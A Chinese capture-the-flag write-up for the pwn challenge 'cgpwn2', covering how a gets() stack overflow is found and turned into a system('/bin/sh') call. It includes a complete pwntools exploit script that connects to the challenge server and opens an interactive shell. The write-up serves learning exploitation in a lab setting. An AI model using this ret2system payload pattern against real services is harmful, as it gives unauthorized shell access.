【攻防世界pwn-cgpwn2】

【攻防世界pwn-cgpwn2】

下载文件后,首先检查保护:

【攻防世界pwn-cgpwn2】

随后将文件拖入ida,查看源码,在hello函数中,发现了如下代码

【攻防世界pwn-cgpwn2】

首先用安全的fgets输入了一个变量,接着用不安全的gets接收了一个变量,在此处可以确认是栈溢出,且溢出点就在此处。

开始寻找利用方式,发现了system函数

【攻防世界pwn-cgpwn2】 

还缺一个"/bin/sh"字符串,找遍了代码,没有发现,但是由于此前可以有一个自己的输入,保存在name变量上,即可以自己手动输入"/bin/sh",自此,设计栈结构为:

【攻防世界pwn-cgpwn2】 

开始编写脚本:

【攻防世界pwn-cgpwn2】

from pwn import *

io = remote("111.200.241.244",52858)
#需要自己输入“/bin/sh”,而刚好有一个可以输入的地方,且保存位置在bss上
io.recvuntil("please tell me your name")
io.sendline("/bin/sh")

sys_addr = 0x8048420
bin_sh_addr = 0x804A080
#需要0x26 +0x4长度的垃圾数据来完成填充,返回地址上写system的地址
#随后4个字节时system的返回地址,随便填充4字节
#随后是system的参数,即/bin/sh的地址,存放在name变量上
payload = b'a' * (0x26 + 0x4) + p32(sys_addr) + b'a' * 4 + p32(bin_sh_addr)
#发送payload,覆盖seed
io.recvuntil("hello,you can leave some message here:")
io.sendline(payload)
io.interactive()

 开始攻击:

 【攻防世界pwn-cgpwn2】

 

上一篇:JavaScript右下角信息提示插件Notyf


下一篇:如何用纯 CSS 创作一个变色旋转动画